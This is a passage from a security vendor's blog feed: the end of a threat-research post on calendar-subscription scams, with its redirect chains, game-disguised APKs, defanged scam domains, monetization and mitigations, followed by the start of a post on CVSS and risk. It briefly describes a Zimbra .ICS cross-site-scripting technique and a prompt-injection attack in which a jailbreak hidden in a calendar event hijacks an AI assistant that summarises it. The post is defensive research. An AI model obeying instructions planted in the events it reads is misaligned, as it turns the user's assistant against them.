&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%2011%20-%20Tiny%20urls%20final%20hop%20shows%20a%20fake%20captcha_.png" width="850" height="641" alt="Figure 11 - Tiny urls final hop shows a fake captcha" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 15 - Tiny urls final hop shows a fake captcha&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;The APKs worked similarly, they were light, a few KB and pretended to be various games, such as “Genshin Impact” or “Plant vs Zombies”. Once the app was installed and ran, the app would hide itself and proceed to open the URL via WebView and the same redirection chain would occur. An interesting technique that would occasionally appear was refreshing the page behind to google[.]com but the pop up would persist in mobile.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%2012%20-%20Example%20of%20notification%20scam%20APKs%20_0.png" width="850" height="828" alt="Figure 12 - Example of notification scam APKs" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 16 - Example of notification scam APKs&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;These APKs had the embedded domain of &lt;code&gt;&lt;strong&gt;1downloadss0ftware[.]xyz/gogo/gotb/&lt;/strong&gt;&lt;/code&gt; in their resources which they would always attempt to contact, this single domain had &lt;strong&gt;over 11.000 unique APKs with this same behaviour&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;A sense of scale&lt;/h3&gt;

&lt;p&gt;In a final effort to assess the scale of these operations, we leveraged an operational mistake by the actors: several domains shared the same SSL subject in their certificates. For example, certificates listed subjects like &lt;code&gt;&lt;strong&gt;0.allowandgo[.]com&lt;/strong&gt;&lt;/code&gt;, &lt;code&gt;&lt;strong&gt;0.blueandbesthome[.]com&lt;/strong&gt;&lt;/code&gt;, or &lt;code&gt;&lt;strong&gt;0.mo12[.]biz&lt;/strong&gt;&lt;/code&gt; regardless of the actual domain. While not universal, this overlap enabled us to quickly map more than 50 IP addresses. These servers were not hosted behind Cloudflare but instead on providers such as &lt;strong&gt;DigitalOcean&lt;/strong&gt;, &lt;strong&gt;Scaleway&lt;/strong&gt;, and &lt;strong&gt;DataWeb Global Group B.V.&lt;/strong&gt; Unlike larger providers, these hosts are less popular, and the vast majority of domains resolving to their IP addresses could be attributed to the notification scam network. By pivoting on SSL subject names, we were able to uncover more than 1,000 domains used for calendar and push subscription fraud. From these domains we managed to register 60 that seemed promising, adding another 500k daily IPs to our sinkhole.&lt;/p&gt;

&lt;p&gt;We know this isn’t everything, considering we weren’t even accounting for domains on Cloudflare, Amazon or Google, but it definitely gave us a peek into the scale behind these operations. Joining this new data with previous, we identified over &lt;strong&gt;1300+ domains&lt;/strong&gt;, which didn’t even include initially compromised domains or middle redirection/hop domains.&lt;/p&gt;

&lt;h3&gt;Monetization&lt;/h3&gt;

&lt;p&gt;The benefits from spreading these networks, in some cases, are quite obvious, such as phishing attempts or malware delivery. More subtle cases might involve promoting a VPN that will also add your device as a proxy to their services, to which they will profit from using your device as a node for other customers.&lt;/p&gt;

&lt;p&gt;But what about the “&lt;strong&gt;ad space itself&lt;/strong&gt;”? To our surprise, there are actually services that sell exactly this. Take, for example, &lt;a href="https://www.pushground.com/blog/calendar-push-ads"&gt;pushground&lt;/a&gt;, they will even show you how your promotion will appear on the user's device, both for push notifications and calendar events.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%2013%20-%20Pushground%20selling%20calendar%20event%20space%20to%20promote%20a%20VPN.png" width="850" height="328" alt="Figure 13 - Pushground selling calendar event space to promote a VPN" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 17 - Pushground selling calendar event space to promote a VPN&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Even more remarkable is that they would use the example of “&lt;strong&gt;you may be exposed online, use a VPN to fix it&lt;/strong&gt;”. This could easily be used by threat actors promoting &lt;a href="https://www.bitsight.com/blog/proxyam-powered-socks5systemz-botnet"&gt;residential proxies&lt;/a&gt;, so is there anything else to say here besides… guilty as charged? Sellers even write how “you” can profit from this newer form of ad space, naming it “&lt;strong&gt;iOS Push&lt;/strong&gt;”. They even show what type of promotions work best for ROI value.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%2014%20-%20%20Pushground%20best%20performing%20offers%20for%20this%20format_.png" width="850" height="323" alt="Figure 14 - Pushground best performing offers for this format" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 18 - &amp;nbsp;Pushground best performing offers for this format&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Of course, pushground isn’t the only one, here are two more examples: &lt;a href="https://ezmob.com/blog/advertiser/ios-calendar-push/"&gt;ezmob&lt;/a&gt; and &lt;a href="https://richads.com/blog/calendar-push-traffic/"&gt;richads&lt;/a&gt;. These services even discuss how this new format is better performing while simultaneously reaching “higher disposable income” victims (iCalendar users) - “Though this kind of advertising seems pretty aggressive, it is exactly what usually performs best with push traffic”.&lt;/p&gt;

&lt;p&gt;It was clear now, the scale was big, the operations active, and the financial kickback was high enough to support all of this. Now that we uncovered the entry point of how users are tricked into subscribing as well as the monetization goal behind it, in this next chapter, we will be going deeper into the dangers a user could face once subscribed.&lt;/p&gt;

&lt;h2&gt;When trust becomes a risk&lt;/h2&gt;

&lt;p&gt;Finally, it is important to emphasize &lt;strong&gt;two critical points&lt;/strong&gt;: the inherent difference between malicious &lt;strong&gt;calendar events and traditional phishing emails&lt;/strong&gt;, and the &lt;strong&gt;risks a victim may face once compromised&lt;/strong&gt; through a malicious calendar event.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Email vs. Calendar: A Critical Distinction&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Unlike phishing emails, which most users have been taught to scrutinize, calendar events carry an implicit trust. They occur in a user’s calendar app, which they view as safe and less suspicious than an email.&lt;/p&gt;

&lt;p&gt;Consider a scenario where a user is legitimately subscribed to the calendar of their favorite tech store. If that store’s subscription domain were to expire and fall into the hands of cybercriminals, the same events could continue to appear: “Exclusive Discounts” or “Black Friday Sale”. The difference now is that the links direct to phishing pages designed to harvest login credentials and banking information.&lt;/p&gt;

&lt;p&gt;We are all aware of phishing emails… So much so that annual phishing awareness training has become mandatory in most organizations for their employees to complete. However, how many organizations warn employees about &lt;strong&gt;calendar events that can also be weaponized&lt;/strong&gt;? The ecosystem around calendar security is underdeveloped: while there are countless email security solutions available, protections for calendar applications are rare. To the unsuspecting user, a malicious event may even appear as a pop-up reminder, blending seamlessly with legitimate system notifications.&lt;/p&gt;

&lt;p&gt;With the acquisition of expired calendar domains, threat actors could potentially push malicious events to &lt;strong&gt;millions of devices overnight&lt;/strong&gt;, with little to no effort. No need for carefully crafted emails, leaked email addresses, or worries about spam filters. The protocol itself guarantees delivery and threat actors can leverage an app that benefits from greater trust and less scrutiny. How many companies actively monitor, restrict, or block calendar subscriptions?&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What’s at Stake for Victims?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Once a victim is convinced to interact, the consequences can be severe. Below you can see a visual representation of the operational overview of these networks, as well as the potential risks a victim might be faced with.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Figure%2019%20-%20Operational%20overview%20and%20potential%20risks_.png" width="850" height="455" alt="Figure 19 - Operational overview and potential risks" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Figure 19 - Operational overview and potential risks&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Some concepts might be unfamiliar to the reader, so here is a few references for more in-depth understanding:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;&lt;a href="https://www.bitsight.com/blog/proxyam-powered-socks5systemz-botnet"&gt;Residential proxies&lt;/a&gt;&lt;/li&gt;
	&lt;li&gt;&lt;a href="https://www.safebreach.com/blog/invitation-is-all-you-need-hacking-gemini"&gt;Promptware / AI jailbreak&lt;/a&gt;&lt;/li&gt;
	&lt;li&gt;&lt;a href="https://blog.checkpoint.com/research/filefix-the-new-social-engineering-attack-building-on-clickfix-tested-in-the-wild/"&gt;Clickfix and filefix&lt;/a&gt; (Windows)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These events may contain malicious URLs and/or attachments. A user may be deceived to click on one of these links or files, they may unwittingly download malware, install unwanted applications. The authors could also monetize by promoting other applications, recommending install of VPNs using the user’s device for residential proxies or fall victim to phishing campaigns. This risk is not only personal, but corporate too, infecting your machine with malware could enable lateral movement and facilitate a wider compromise of the company.&lt;/p&gt;

&lt;h2&gt;The rise of new attack vectors&lt;/h2&gt;

&lt;p&gt;As we move towards the end of this blogpost, we wanted to leave the reader with these next two sub-chapters, which highlight an increased attention / exploitation of calendars in the last 2 months, once again reinforcing calendars as an emerging powerful entry vector. Both of the presented cases, would require minimal to no user interaction to compromise and exfiltrate data. So we shouldn’t be quick to assume that “it will always require human interaction", now or in the future.&lt;/p&gt;

&lt;h3&gt;Open source suites: 0day .ICS attacks&lt;/h3&gt;

&lt;p&gt;So far we have mostly discussed iCalendar and Google Calendar, but there are a ton of other &lt;strong&gt;open source suites&lt;/strong&gt; that include email, contacts, calendars, etc. While big-tech players can endlessly allocate resources to audits, sanitization and hardening every attack surface, open-source suites do not. A recent &lt;strong&gt;0day&lt;/strong&gt; in Zimbra (&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-27915"&gt;CVE-2025-27915&lt;/a&gt;) used against the &lt;a href="https://strikeready.com/blog/0day-ics-attack-in-the-wild/"&gt;Brazilian military&lt;/a&gt; is the perfect example, where javascript execution is reached and therefore compromises the victim without human interaction. A simple stored cross-site scripting (XSS) vulnerability, where an &lt;strong&gt;.ICS file containing javascript&lt;/strong&gt; executes via an “&lt;em&gt;on toggle&lt;/em&gt;” event inside the &lt;code style="color:green;"&gt;&lt;strong&gt;&lt;i&gt;&amp;lt;details&amp;gt;&lt;/i&gt;&lt;/strong&gt;&lt;/code&gt; tag. This vulnerability enables arbitrary javascript execution in the victims session, due to insufficient sanitization of the HTML content. This allows user creation, credential stealing, data exfiltration and more. Many open-source suites may suffer the same risk, due to the approach of wanting calendar events to be more customizable, which in turn means accepting HTML tags in the .ICS.&lt;/p&gt;

&lt;p&gt;Regarding this portion of HTML tags, we believe Apple's iCalendar approach to be best, simply showing everything as text. It’s important to note that calendar events are a lesser known entry vector than emails at this stage and lack comparable protections, so we are likely to see further exploitation in the future.&lt;/p&gt;

&lt;h3&gt;Promptware / Prompt Injection via calendars&lt;/h3&gt;

&lt;p&gt;Emerging technologies are also expanding the threat landscape, which is the case with the recently disclosed method by &lt;a href="https://www.safebreach.com/blog/invitation-is-all-you-need-hacking-gemini"&gt;Safebreach&lt;/a&gt;, where attackers embedded a &lt;strong&gt;Large Language Model (LLM) jailbreak&lt;/strong&gt; within the description of calendar events. If a user were to ask their AI assistant (e.g., Gemini) to summarize upcoming events, the LLM would parse the calendar, trigger the crafted jailbreak, and potentially be exploited to perform malicious actions.&lt;/p&gt;

&lt;p&gt;This technique, dubbed &lt;strong&gt;Promptware&lt;/strong&gt;, demonstrates how new technologies can be chained with calendar subscriptions to create novel attack surfaces. In the SafeBreach case, the malicious event was introduced via a targeted Google Calendar invite, but the same concept could be scaled: if delivered through already subscribed devices, such events could reach at least &lt;strong&gt;4 million of devices instantly&lt;/strong&gt;. The implications extend beyond phones, any apps connected with AI assistants, potentially even apps related with home smart appliances. Noticeably google worked together with the researchers and released a new version of the model with significant &lt;a href="https://security.googleblog.com/2025/06/mitigating-prompt-injection-attacks.html"&gt;improvements&lt;/a&gt; to prompt injection.&lt;/p&gt;

&lt;h3&gt;Recommendations on threat mitigation&lt;/h3&gt;

&lt;p&gt;From what we could gather, Mobile Device Management (MDM) solutions do not mention that they can block user-added calendar subscriptions in iPhones. It seems the reason lies with the MDM payload not having the capabilities to block user-added subscriptions or list already subscribed calendars if they were likewise user-added. The current payload &lt;em&gt;com.apple.subscribedcalendar.account&lt;/em&gt; appears to only interact with subscriptions pushed via MDM. This represents an unaddressed problem to be tackled as more calendars become affected by these malicious campaigns, and as evidenced by our research, this issue has already reached a significant scale, affecting users in the millions. Having said this, below you will find a list of potential mitigation measures to be applied although we recognize this may not be feasible in many circumstances due to the limited scalability of these measures in medium-large organizations:&lt;/p&gt;

&lt;h3&gt;1. Review active subscriptions and block unfamiliar sources&lt;/h3&gt;

&lt;p&gt;Both users and companies should check the device’s calendar settings and remove all subscriptions that are not recognized or needed.&lt;/p&gt;

&lt;h3&gt;2. Treat calendar links like email links&lt;/h3&gt;

&lt;p&gt;As you wouldn’t click a suspicious email link, don’t click URLs or attachments inside unfamiliar calendar events. If a calendar subscription originates from a domain that looks unusual or unrelated to its claimed purpose, unsubscribe immediately.&lt;/p&gt;

&lt;h3&gt;3. Establish calendar subscriptions policies&lt;/h3&gt;

&lt;p&gt;Define whether employees are permitted to add third-party calendars to corporate devices.&lt;/p&gt;

&lt;h3&gt;4. Incorporate calendar threat into awareness training &amp;amp; stay ahead of threats&lt;/h3&gt;

&lt;p&gt;Update cybersecurity awareness programs to include malicious calendar events as attack vectors. Keep security teams updated on novel attack techniques, such as 0days and Promptware.&lt;/p&gt;

&lt;h3&gt;5. Block subscriptions at the firewall&lt;/h3&gt;

&lt;p&gt;Use a whitelist, that is only checked against when an .ics request is made, in order to block spam and unauthorized subscription to random calendars. Add ad-hoc domains to the whitelist as seen fit / upon request.&lt;/p&gt;

&lt;p&gt;Again, it should be noted that these mitigations will definitely not fit everyone's circumstances, therefore, we as community and industry must push for improvements at the source.&lt;/p&gt;

&lt;h2&gt;Detecting hidden calendars subscriptions with Bitsight&lt;/h2&gt;

&lt;p&gt;Bitsight’s &lt;a href="https://help.bitsighttech.com/hc/en-us/articles/115005263187-Insecure-Systems-Risk-Vector"&gt;Insecure Systems&lt;/a&gt; risk vector assesses endpoints (which can be any computer, server, device, system, or appliance with internet access) that are communicating with an unintended destination. The software of these endpoints may be outdated, tampered, or misconfigured. A system is classified as “insecure” when these endpoints try to communicate with a web domain that doesn’t yet exist or isn’t registered to anyone. By identifying endpoints still communicating with unregistered or inactive infrastructure, Bitsight reveals where trusted assets have silently drifted into risk. These insights allow teams to isolate affected devices, cut off unsafe traffic, and prevent exposure from neglected or forgotten systems.&lt;/p&gt;

&lt;p&gt;Bitsight’s Abandonware Findings Details:&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/21/Bitsights%20Abandonware%20Findings%20Details.png" width="850" height="396" alt="Bitsights Abandonware Findings Details" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;/center&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Calendar subscriptions, seen as a convenient way to stay organized, represent a powerful but overlooked threat vector. Unlike email, they operate with little oversight, benefiting from built-in user trust, and can push events to millions of users with little effort.. Calendar events represent an effective attack surface, due to the current lacking awareness of its risks. Trusting your calendar feels familiar and routine to users, making them less suspicious and therefore further contributing to a powerful entry vector.&lt;/p&gt;

&lt;p&gt;Our research shows that millions of devices sync daily with calendar servers weaponized by threat actors. The risks range from phishing and malware distribution to JavaScript execution and innovative attacks that exploit emerging technologies such as AI assistants.&lt;/p&gt;

&lt;p&gt;Major platform providers like Apple and Google have made significant strides in securing their ecosystems. Our findings highlight areas where emerging risks, like calendar-based abuse, may not yet be fully addressed, despite strong security postures elsewhere.&lt;/p&gt;

&lt;p&gt;Awareness and defenses of calendar subscriptions should be more robust, especially when compared to well-monitored and protected email solutions. The current imbalance creates a dangerous blind spot in both personal and corporate security postures.&lt;/p&gt;
&lt;style type="text/css"&gt;figcaption {padding-top:1%;}
&lt;/style&gt;

              &lt;/div&gt;
      
    &lt;/div&gt;
  &lt;/div&gt;

      &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

</description>
  <pubDate>Tue, 25 Nov 2025 07:36:05 +0000</pubDate>
    <dc:creator>Eric Cisternelli</dc:creator>
    <guid isPermaLink="false">18201 at https://www.bitsight.com</guid>
    </item>
<item>
  <title>CVSS Is a Little Bit of Risk: Rethinking CVSS in Vulnerability Prioritization</title>
  <link>https://www.bitsight.com/blog/cvss-little-bit-risk-rethinking-cvss-vulnerability-prioritization</link>
  <description>&lt;span property="schema:name" class="field field--name-title field--type-string field--label-hidden"&gt;CVSS Is a Little Bit of Risk: Rethinking CVSS in Vulnerability Prioritization&lt;/span&gt;
&lt;span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"&gt;&lt;span lang about="https://www.bitsight.com/user/16" typeof="schema:Person" property="schema:name" datatype&gt;Eric Cisternelli&lt;/span&gt;&lt;/span&gt;
&lt;span property="schema:dateCreated" content="2025-11-18T13:10:00+00:00" class="field field--name-created field--type-created field--label-hidden"&gt;&lt;time datetime="2025-11-18T08:10:00-05:00" title="Tuesday, November 18, 2025 - 08:10" class="datetime"&gt;Tue, 11/18/2025 - 08:10&lt;/time&gt;
&lt;/span&gt;

    &lt;div class="layout layout--onecol"&gt;
    &lt;div class="layout__region layout__region--content"&gt;
        &lt;div class="block block-layout-builder block-inline-blocktext"&gt;
    
    
          


  

&lt;div class="block-content block-content--type-text block-content--38976 block-content--view-mode-full container text-wysiwyg"&gt;

  
  

          &lt;div class="text-wysiwyg__title"&gt;
      

    &lt;/div&gt;
  
      &lt;div class="text-wysiwyg__body"&gt;
      
            &lt;div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"&gt;
                          &lt;p&gt;The best part about my job is that I sometimes get to make some controversial statements. Well, as controversial as things can be in a niche area of cybersecurity like “what is a reasonable measure of vulnerability risk?” Along with my colleague Sander Vinberg we got to explore this question earlier this year at the second &lt;a href="https://www.youtube.com/watch?v=9etNR3iHS1k"&gt;Annual VulnCon conference in Raleigh&lt;/a&gt;. Even though it’s only been held twice, it is quickly becoming one of my favorite conferences. It brings together a significant number of important voices in industry and government to really talk about where we’ve been, where we are going, and what obstacles might be in our way in the realm of vulnerability management.&lt;/p&gt;

&lt;p&gt;The observant reader can guess what exactly my controversial statement about vulnerability risk is from the title: &lt;a href="https://www.bitsight.com/glossary/cvss-common-vulnerability-scoring-system"&gt;CVSS&lt;/a&gt; is one measure of risk, though a noisy one. This statement contradicts the official documentation of &lt;a href="https://www.first.org/cvss/user-guide#CVSS-Base-Score-CVSS-B-Measures-Severity-not-Risk"&gt;CVSS-B Measures Severity not Risk&lt;/a&gt;, and there is no lack of articles defending this view point and being generally critical of CVSS. I won’t adjudicate all the arguments here, but I’ll try to summarize.&lt;/p&gt;

&lt;p&gt;Risk is better defined as the “possibility of a loss,” i.e. there is some adverse event that may happen with some probability. With respect to vulnerabilities specifically, this would ask: “if I have a particular vulnerability at my organization, what is the possibility of loss due to someone exploiting it?”&lt;/p&gt;

&lt;p&gt;To measure risk we need information about the two mentioned quantities: (1) the likelihood of the adverse event, and (2) the impact, monetary or otherwise. The assertion is that CVSS (we’ll use v3 in this article, though any version would be applicable&lt;sup&gt;1&lt;/sup&gt;), whether in its vector form or as its aggregate score, does not directly measure either of these quantities (nor was it designed to)&lt;/p&gt;

&lt;p&gt;The trouble with this way of thinking is that it assumes that a measure (a number or something ordinal) absolutely is or is not a measure of risk.&lt;sup&gt;2&lt;/sup&gt; Rarely is any measure of anything in security (or physical reality) perfect, and there are subjective opinions, errors, bias, and just random noise. The question we should ask when assessing any measure, and CVSS specifically, is not “is this risk?” but rather “how correlated with risk is CVSS?” In this post I’m going to show it’s “a little bit of risk” and, better yet, how we combine it with other popular measures to &lt;a href="https://www.bitsight.com/blog/5-ways-to-boost-cyber-risk-prioritization-with-cti"&gt;improve vulnerability prioritization&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;A brief intro to CVSSv3 metrics&lt;/h2&gt;

&lt;p&gt;Before we dive into assessing exactly whether CVSS measures risk, it’s worth a few hundred words to talk about exactly what composes CVSS v3 to gain some intuition about why it is in fact correlated with risk.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.first.org/cvss/v3-1/specification-document"&gt;CVSSv3 has four metric groups: two that fall into the “Base” portion (Exploitability and Impact), one in the somewhat oddly named “Temporal” portion, and one in the “Environment Section.”&lt;/a&gt; We are going to skip those last two because they are generally not scored by those doing the scoring, and they tend to be specific to an organization (Environment) or change over time (Temporal). Here are the eight we are considering.&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;&lt;strong&gt;Exploitability Metrics&lt;/strong&gt;

	&lt;ul&gt;
		&lt;li&gt;&lt;em&gt;Access Vector&lt;/em&gt;: What access does an attacker need?

		&lt;ul&gt;
			&lt;li&gt;Physical(P): Gotta be at the keyboard.&lt;/li&gt;
			&lt;li&gt;Local (L): On the same internal network as the vulnerable machine.&lt;/li&gt;
			&lt;li&gt;Adjacent (A): On a network that is connected to the network of the vulnerable machine.&lt;/li&gt;
			&lt;li&gt;Network (N): If it’s connected to the Internet, that’s all the attacker needs.&lt;/li&gt;
		&lt;/ul&gt;
		&lt;/li&gt;
		&lt;li&gt;&lt;em&gt;Attack Complexity&lt;/em&gt;: How hard is this one to exploit?
		&lt;ul&gt;
			&lt;li&gt;Low(L): Nothing special required, if the attackers got the code, he just has to run it.&lt;/li&gt;
			&lt;li&gt;High (H): Maybe it doesn’t always “just work”, might require a race condition, or some other circumstances.&lt;/li&gt;
		&lt;/ul&gt;
		&lt;/li&gt;
		&lt;li&gt;&lt;em&gt;Privileges Required&lt;/em&gt;: Does the attacker need the keys?
		&lt;ul&gt;
			&lt;li&gt;None(N): Nope&lt;/li&gt;
			&lt;li&gt;Required(R): Yep&lt;/li&gt;
		&lt;/ul&gt;
		&lt;/li&gt;
		&lt;li&gt;&lt;em&gt;User Interaction&lt;/em&gt;: Does the user have to click something or download something or type something?
		&lt;ul&gt;
			&lt;li&gt;None(N): Nope&lt;/li&gt;
			&lt;li&gt;Required(R): Yep&lt;/li&gt;
		&lt;/ul&gt;
		&lt;/li&gt;
		&lt;li&gt;&lt;em&gt;Scope&lt;/em&gt;: This one is a bit weird. It’s whether the vulnerability allows an attacker to move beyond the “security scope” of the vulnerable component. A canonical example would be a database vulnerability that allows an attacker access to the server it’s hosted on would result in Score:Changed. If the vulnerability just affects the database software itself (and the data within) it’s unchanged:
		&lt;ul&gt;
			&lt;li&gt;Changed(C): Attackers can move beyond the security scope to other components.&lt;/li&gt;
			&lt;li&gt;Unchanged (U): Attackers are stuck in the current scope.&lt;/li&gt;
		&lt;/ul&gt;
		&lt;/li&gt;
	&lt;/ul&gt;
	&lt;/li&gt;
	&lt;li&gt;&lt;strong&gt;Impact Metrics&lt;/strong&gt;: The &lt;a href="https://www.bitsight.com/glossary/cia-triad"&gt;C/I/A Triad&lt;/a&gt;, ie, how borked is your data on the affected asset.
	&lt;ul&gt;
		&lt;li&gt;&lt;em&gt;Confidentiality&lt;/em&gt;: Attacker can access data they shouldn’t.&lt;/li&gt;
		&lt;li&gt;&lt;em&gt;Integrity&lt;/em&gt;: Attacker can destroy or alter data they shouldn’t be able to (though they may not be able to read the original).&lt;/li&gt;
		&lt;li&gt;&lt;em&gt;Availability&lt;/em&gt;: The attacker can deny access to the data, though maybe not alter or access it.&lt;/li&gt;
	&lt;/ul&gt;
	&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It doesn’t take much to imagine how the exploitability metrics might be correlated with the likelihood of a vulnerability being used in an attack. Network vulnerabilities mean attackers can operate at a distance, something more attractive than having to get local or physical access. Low access complexity with no interaction or privileges required means a higher likelihood of success when a vulnerable asset is found. Given this logic it would be unsurprising that vulnerabilities with particular CVSS would be more likely to have proof of concept code available or be used in ransomware attacks, both things directly implicated in the risk definition.&lt;/p&gt;

&lt;p&gt;So far in 2025 there have been 40,547 &lt;a href="https://www.bitsight.com/blog/mitre-attack-framework"&gt;MITRE&lt;/a&gt; published vulnerabilities, with 1,042 unique vectors. The top most common 150 of these vectors represent more than 90% of the vulnerabilities reported, so we’ll take a look at these in a complex visual (Figure 1).&amp;nbsp;As an example we can move from the center (all vulns), straight down to Access Vector: Network (AV:N), proceeding to the left to Access Complexity: Low (AC:L), up and to the left to Privileges&amp;nbsp;Required:None (PR:N), down and to the left to User Interaction:None (UI:N), back up to Scope:Unchanged (S:U), left to Confidentiality Impact:High (C:H), Integrity Impact: High (I:H), and Availability Impact:High (A:H), landing at the largest bubble indicating 3,468 vulns with that particular vector (score 9.8).&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/13/Figure%201%20Starting%20at%20the%20center%20of%20the%20web%20and%20growing%20outward%20through%20each%20of%20the%20CVSS%20metrics%20to%20build%20up%20a%20vector.png" width="850" height="850" alt="Figure 1 Starting at the center of the web and growing outward through each of the CVSS metrics to build up a vector" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;&lt;strong&gt;Figure 1&lt;/strong&gt; Starting at the center of the web and growing outward through each of the CVSS metrics to build up a vector. The branches are sized by the number of vulnerabilities with a particular subvector, and the leaf nodes are sized by how many vulnerabilities have that particular vector. Colors indicate the CVSSv3 base score.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;h2&gt;Can CVSS predict risk?&lt;/h2&gt;

&lt;p&gt;Rather than rely on a theoretical argument, let’s put it to the test shall we? First let’s ask, “given a CVSS vector is it possible to predict the existence of exploit code?” To check this we take a pretty simple Data Science 101 approach:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;Use CISA’s &lt;a href="https://github.com/cisagov/vulnrichment"&gt;vulnrichment&lt;/a&gt; data that indicates PoC code as a 0 or 1 label.&lt;/li&gt;
	&lt;li&gt;Use the CVSS vector as input.&lt;/li&gt;
	&lt;li&gt;Using 5-fold cross validation fit a gradient boosted tree.&lt;/li&gt;
	&lt;li&gt;See if we have any predictive power using a ROC curve.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Turns out the answer is: yes, a little! Check out Figure 2!&amp;nbsp;For those not well versed in reading these charts this is a Receiver Operator Characteristic Curve (ROC Curve). It’s a way to display the performance of a binary classification model. Simply, the more the pretty colored line is “up and to the left” the better the classifier&lt;sup&gt;3&lt;/sup&gt;.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/11/13/Figure%202%20Receiver%20Operator%20Characteristic%20code%20for%20predicting%20Exploit%20Code%20using%20CVSS%20v3%20vectors.png" width="850" height="638" alt="Figure 2 Receiver Operator Characteristic code for predicting Exploit Code using CVSS v3 vectors" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;&lt;strong&gt;Figure 2&lt;/strong&gt; Receiver Operator Characteristic code for predicting Exploit Code using CVSS v3 vectors&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Essentially, for whatever we pick as our classification threshold we can tune the accuracy or false positive rate and true positive rate. Here we have highlighted the point that gives us the best “F1 score,” but you could pick any threshold according to your risk appetite. Now, are we saying that this is actually some model you should actually use in vuln prioritization? Probably not, there are better models out there. Rather this demonstrates that the CVSS vector does correlate with risk and it's worth it to pay attention to those critical vulnerabilities from a risk perspective. In particular, if a CVE gets a CVSS score&lt;sup&gt;4&lt;/sup&gt;, &amp;nbsp;the score is often one of the earliest chunks of information available about a vulnerability.&lt;/p&gt;

&lt;p&gt;Proof-of-Concept code is one thing, but what about actual exploitation? Using the same methodology, can we predict the use of a CVE in real world attacks, or further, whether those attacks were part of a ransomware campaign? There is no comprehensive set of data on this, but we can cobble one together from some publicly available ones:&lt;/p&gt;

&lt;ol&gt;
